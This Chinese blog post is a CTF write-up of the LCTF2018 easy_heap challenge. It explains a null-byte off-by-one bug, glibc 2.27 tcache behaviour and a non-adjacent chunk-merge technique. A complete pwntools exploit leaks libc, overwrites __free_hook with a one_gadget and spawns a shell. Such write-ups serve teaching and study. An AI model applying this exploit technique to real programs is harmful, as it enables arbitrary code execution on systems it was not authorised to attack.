[Tcache]LCTF2018 PWN easy_heap

https://github.com/LCTF/LCTF2018/tree/master/Writeup/easy_heap
參考
https://www.360zhijia.com/anquan/443460.html(推薦資料,還仔細分析了tcache的特性和總結)

在malloc的時候存在null-by-one漏洞,由于分配的堆塊的大小都是0x100(加堆頭),所以null-by-one漏洞只會覆蓋下個堆塊的prev_inuse標志位為0。一般的利用思路是通過偽造prev_size的大小來構造overlap-chunk為所欲為,但是這種思路在這道題目里行不通,因為malloc在讀取內(nèi)容的時候‘\0’會截斷而且堆塊大小是0x100。 由于題目給的庫是libc2.27,引入了tcache機制,tcache在分配完其中的7個堆塊后如果再次分配,它會先從unsortedbin中把和要分配的堆塊大小相同的堆塊全部以單鏈表形式鏈入tcache的鏈表里然后再分配出來,如果unsortedbin中有三個及以上符合大小的堆塊,當并入tcache時,你會發(fā)現(xiàn)中間的堆塊其fd->bk以及bk->fd仍然指向它自身,利用點就是在這里,題目中恰好設置了堆塊為0x100對齊,所以分配出來的堆塊內(nèi)容如果什么都不輸那么它的“\0”終止符不會影響fd指針,在將中間的堆塊重新malloc出來利用nullbyone漏洞修改下個堆塊的previnuse位為0,然后填滿tcache后free掉下個堆塊,那么他就會和前面的堆塊合并形成overlap-chunk,接下來泄漏libc地址,修改malloc_hook為one_gadget就能getshell了。

  • 在沒有辦法手動寫入 prev_size ,但又必須使用 prev_size 才可以進行利用的情況下,考慮使用系統(tǒng)寫入的 prev_size 。

方法為:在 unsorted bin 合并時會寫入 prev_size,而該 prev_size 不會被輕易覆蓋(除非有新的 prev_size 需要寫入),所以可以利用該 prev_size 進行利用。
具體過程:

  • 將 A -> B -> C 三塊 unsorted bin chunk 依次進行釋放
  • A 和 B 合并,此時 C 前的 prev_size 寫入為 0x200
  • A 、 B 、 C 合并,步驟 2 中寫入的 0x200 依然保持
  • 利用 unsorted bin 切分,分配出 A
  • 利用 unsorted bin 切分,分配出 B,注意此時不要覆蓋到之前的 0x200
  • 將 A 再次釋放為 unsorted bin 的堆塊,使得 fd 和 bk 為有效鏈表指針
  • 此時 C 前的 prev_size 依然為 0x200(未使用到的值),A B C 的情況: A (free) -> B (allocated) -> C (free),如果使得 B 進行溢出,則可以將已分配的 B 塊包含在合并后的釋放狀態(tài) unsorted bin 塊中。
    但是在這個過程中需要注意 tcache 的影響。

隔塊攻擊

現(xiàn)隔塊合并攻擊的思路就是:
1.制造三個chunk全都free合并入unsorted bin:這時chunk3的presize為2*chunk

2.再把它們分配出來

3.chunk1給free進unsorted bin:①隔塊合并它的時候能天然繞過bk、fd那個檢查 ②chunk2的presize為1*chunk

4.chunk2先free進tcache,再分配到它off by one:①代碼邏輯決定只能在分配的時候寫那么一次而沒有單獨的編輯函數(shù) ②進tcache要先new出一個騰地方,不能進unsorted bin是為了防止和chunk1合并破壞之前的鋪墊

5.free掉chunk3即可隔塊合并到chunk1:chunk3的presize是2chunk找到chunk1了,chunk1做size檢查找到chunk2的presize是1chunk繞過成功,fd、bk那個檢查也是天然過的

EXP

from pwn import *
 
p = process("./easy_heap")
context.log_level = "DEBUG"
 
def _free(index):
    p.sendlineafter(">", "2")
    p.sendlineafter(">", str(index))
 
def _malloc(size, content):
    p.sendlineafter(">", "1")
    p.sendlineafter(">", str(size))
    p.sendlineafter(">", content)
 
def _puts(index):
    p.sendlineafter(">", "3")
    p.sendlineafter(">", str(index))
 
def fill_tcache(start, end, step = 1):
    for i in range(start, end, step):
        _free(i)
 
def remove_tcache(num):
    for i in range(0, num):
        _malloc(2, "a")
 
 
# Initialize
for i in range(0, 10):
    _malloc(0x2, "a")
 
# fill the TCache to put chunk to unsorted bins
fill_tcache(3, 10)
 
# Chunk1 and chunk2 will merged, so chunk3's prev_size = 0x200
# Now, we can use off by one to overlap chunks
_free(0)
_free(1)
_free(2)
 
# Apply again to split unsorted bin
# The array will be filled from 0 ~ 6
remove_tcache(7)
 
# Split unsorted bin now, we can get 0x200 in prev_size of chunk9
_malloc(0x2, "7") # chunk7
_malloc(0x2, "8") # chunk8
 
# If we continue use free, they will be put to unsorted bin
# and the prev_size byte will be erased
# therefore, we apply tacache to store them
# We also need to switch there location in list
# Otherwise we cannot erase the prev_inuse byte
_malloc(0x2, "9")
_free(8)
fill_tcache(0, 6)
_free(7)
 
# off by one
remove_tcache(6)
_malloc(0xf8, "8")
 
# Again, we need to full filled our TCache to use unsorted bin
fill_tcache(0, 7)
 
# Trigger Overlap
_free(9)
remove_tcache(7)
_malloc(0x1, "a")
 
# Leak main_arena
_puts(7)
main_arena = p.recvline()[1:-1]
base = u64(main_arena + '\x00' * 2) - 0x3ebca0
print "base_addr: " + hex(base)
one_gadget = base + 0x4f322
free_hook = base + 0x3ed8e8
print "free_hook:" + hex(free_hook)
 
# TCache Arbitrary Write
_malloc(2, "0x9")
_free(7)
_free(9)
_malloc(0x10, p64(free_hook))
 
# Merege chunks to extra write
fill_tcache(0, 7)
remove_tcache(7)
_malloc(0x10, p64(one_gadget))
_free(0)
 
p.interactive()

特性補充

1.preinuse位何時置零:僅在前塊link入unsorted bin過程中置零
2.size字段何時設置:僅在①alloc過程中設置 ②合并過程中合并后link入unsorted bin前設置
*3.presize字段何時設置:僅在前塊link入unsorted bin過程中設置
4.單獨的unlink動作不對后塊preinuse位置1
5.堆塊合并過程:先unlink前塊,再合并,再link入unsorted bin
6.堆塊合并過程中,指針變化和合并后的size計算是以用戶free的那個塊為中心,而前面提到的size==next.presize檢查則是以被合并的前塊為中心:堆塊指針在合并后直接用presize值前推偏移,新size也是用戶free塊的size直接加上presize,而新增檢查則是以前塊為中心的

?著作權歸作者所有,轉載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

  • 參考文章: 關于heap overflow的一些筆記 by ETenal [CTF]Heap vuln -- u...
    BJChangAn閱讀 2,831評論 2 5
  • 分析方法:全局變量位置布局: 哪些在.bss,哪些在.data,變量之間的關系哪些變量, 緩沖區(qū), 數(shù)組,存儲了哪...
    fIappy閱讀 1,112評論 0 0
  • 概述 用戶釋放掉的 chunk 不會馬上歸還給系統(tǒng),ptmalloc 會統(tǒng)一管理 heap 和 mmap 映射區(qū)域...
    HAPPYers閱讀 2,885評論 0 3
  • 張無忌放棄了江湖與江山他把幸福給了趙敏卻把牽掛給了小昭把漂泊給了蛛兒把憾恨給了芷若……楊過和小龍女最終做了神仙眷侶...
    溫柔如初閱讀 960評論 0 2
  • 小蠻姐1文 打開微信,打開qq,打開微博,好吧,似乎一夜之間,所有的平臺都在說周立波被捕的事情。以前只知道周立波挺...
    小蠻姐閱讀 578評論 2 4

友情鏈接更多精彩內(nèi)容